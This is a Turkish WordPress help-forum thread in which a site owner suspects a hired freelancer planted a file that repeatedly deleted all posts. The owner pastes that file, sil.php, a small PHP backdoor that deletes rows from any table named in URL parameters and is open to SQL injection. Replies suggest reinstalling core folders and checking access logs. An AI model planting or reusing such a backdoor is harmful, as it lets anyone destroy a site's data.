Siteme Kötü Amaçlı Kod Yüklenmiş

Beyfendi,
Wordpress son sürümü indirin.
Wp-admin
wp-includes klasörlerini CPanel ya da hangi panelse silin.
daha sonra indirdiğiniz wordpress sürümününün içinde yer alan wp-admin ve wp-includes i ftp'ye atınız.
bu işlemi yaptıktan sonra söylemiş olduğunuz sıkıntı gidecektir.

bu işlemlerin çoğalmasının ana sebebi w-rez tema/eklenti kullanmaktır. eğer lisanslı ise temanız bu işlemi yapmanız yeterlidir.

daha önce forumdan birine site hızlandırma çalışması yaptırdım çalışmanın sahte bir çalışma olduğunu öğrenince şikayet konusu açıp para iadesi ve yapılan işlemlerin geri alınmasını istedim mod beni haklı buldu bende kişiye cpanel ve wp bilgilerimi 14 şubatta verdim kişi yaptığı işlemleri kaldırdı ancak sanırım sadece bununla kalmamış kötü amaçlı kodlar eklemiş siteye bunu daha sonradan farkettik.

daha sonra forumdan @wordpress_rasim; 'e çalışma yaptırdık temiz iş çıkardı ancak çalışma bittikten sonra bir süre sonra sitedeki tüm gönderilerin silindiğini gördüm yedekleri yükledim ve rasim hocam tekrar gerekli ayarlamlrı yaptı bir süre sonra yine tüm gönderiler silindi sonra hacklendiğimi düşünüp wordfence ile tarattım daha sonra /wp-includes/blocks/block klasöründe sil.php adında bir dosya farkettim dosyanın içeriğini aşağıya bırakıyorum

dosyayı incelediğimde 14 şubat günü yüklendiğini gördüm. bu dosyayı bahsi geçen kişinin yüklediğini nasıl kanıtlayabilirim?

<?php
try {
$db = new PDO("mysql:host=localhost;dbname=xxxx_wp;charset=utf8", "kusdfxx_wp", "!E?i%sdsdaf!jY0G");
} catch ( PDOException $e ){
     print $e->getMessage();
}

$tablo = $_GET['tablo'];
$id = $_GET['id'];
if($id!=""){
    $sorgu = "WHERE id='".$id."'";
}
$delete = $db->exec("DELETE FROM {$tablo} {$sorgu} ");
print 'Toplam '.$delete.' 端ye silindi!';
?>

lisanslı hocam her şey

giris loglari olmasi lazim hocam

access.log dosyaları, onun dışında last komutu ile de sisteme girenlerin ip adresleri ve zamanlarını da temin edebilirsin hocam.
Wordpress açıklı bir yazılım, sil.php olmasaydı kesinlikle başkası hackledi derdim ama söylediklerine göre şüpheli bir durum.
Geçmiş olsun.

yani mantıken cpanel bilgilerine sahip olmayan biri db bilgilerini öğrenmesi çok zor değil mi ben bu yüzden şüphelendim tarih ve saatte çakışıyor.